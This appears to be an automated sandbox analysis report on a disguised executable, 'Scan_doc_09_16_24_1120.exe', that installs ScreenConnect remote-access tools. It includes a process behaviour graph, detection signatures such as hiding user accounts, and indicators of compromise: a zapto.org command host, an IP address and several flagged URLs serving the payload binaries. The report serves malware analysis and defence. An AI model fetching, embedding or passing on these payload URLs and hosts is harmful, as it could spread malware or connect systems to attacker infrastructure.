  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1523878 Sample: Scan_doc_09_16_24_1120.exe Startdate: 02/10/2024 Architecture: WINDOWS Score: 66 48 ttyuio.zapto.org 2->48 50 cloudfiles-secure.io 2->50 52 2 other IPs or domains 2->52 58 Suricata IDS alerts for network traffic 2->58 60 Multi AV Scanner detection for submitted file 2->60 62 .NET source code references suspicious native API functions 2->62 64 3 other signatures 2->64 9 ScreenConnect.ClientService.exe 2->9         started        12 Scan_doc_09_16_24_1120.exe 2 2->12         started        14 svchost.exe 8 2->14         started        16 3 other processes 2->16 signatures3 process4 dnsIp5 74 Reads the Security eventlog 9->74 76 Reads the System eventlog 9->76 19 ScreenConnect.WindowsClient.exe 9->19         started        22 ScreenConnect.WindowsClient.exe 9->22         started        24 dfsvc.exe 132 108 12->24         started        28 WerFault.exe 19 16 12->28         started        30 WerFault.exe 2 14->30         started        46 127.0.0.1 unknown unknown 16->46 signatures6 process7 dnsIp8 66 Creates files in the system32 config directory 19->66 68 Contains functionality to hide user accounts 19->68 54 ttyuio.zapto.org 178.215.236.119, 443, 49705, 49709 LVLT-10753US Germany 24->54 38 C:\...\ScreenConnect.WindowsFileManager.exe, PE32 24->38 dropped 40 C:\Users\...\ScreenConnect.WindowsClient.exe, PE32 24->40 dropped 42 ScreenConnect.WindowsBackstageShell.exe, PE32 24->42 dropped 44 13 other files (none is malicious) 24->44 dropped 32 ScreenConnect.WindowsClient.exe 19 9 24->32         started        file9 signatures10 process11 signatures12 56 Contains functionality to hide user accounts 32->56 35 ScreenConnect.ClientService.exe 32->35         started        process13 signatures14 70 Contains functionality to hide user accounts 35->70 72 Enables network access during safeboot for specific services 35->72
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
178.215.236.119
 cloudfiles-secure.io Germany
10753 LVLT-10753US true

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
cloudfiles-secure.io 178.215.236.119 true
fp2e7a.wpc.phicdn.net 192.229.221.95 true
ttyuio.zapto.org 178.215.236.119 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://cloudfiles-secure.io/Bin/ScreenConnect.ClientService.exe true
    		unknown
    https://cloudfiles-secure.io/Bin/ScreenConnect.WindowsClient.exe.config true
      		unknown
      https://cloudfiles-secure.io/Bin/ScreenConnect.Client.manifest true
        		unknown
        https://cloudfiles-secure.io/Bin/ScreenConnect.WindowsFileManager.exe.config true
          		unknown
          https://cloudfiles-secure.io/Bin/ScreenConnect.WindowsBackstageShell.exe.config true
            		unknown
            https://cloudfiles-secure.io/Bin/ScreenConnect.WindowsBackstageShell.exe true
              		unknown
              https://cloudfiles-secure.io/Bin/ScreenConnect.WindowsClient.exe true
                		unknown
                https://cloudfiles-secure.io/Bin/ScreenConnect.Core.dll true
                  		unknown
                  https://cloudfiles-secure.io/Bin/ScreenConnect.Windows.dll true
                    		unknown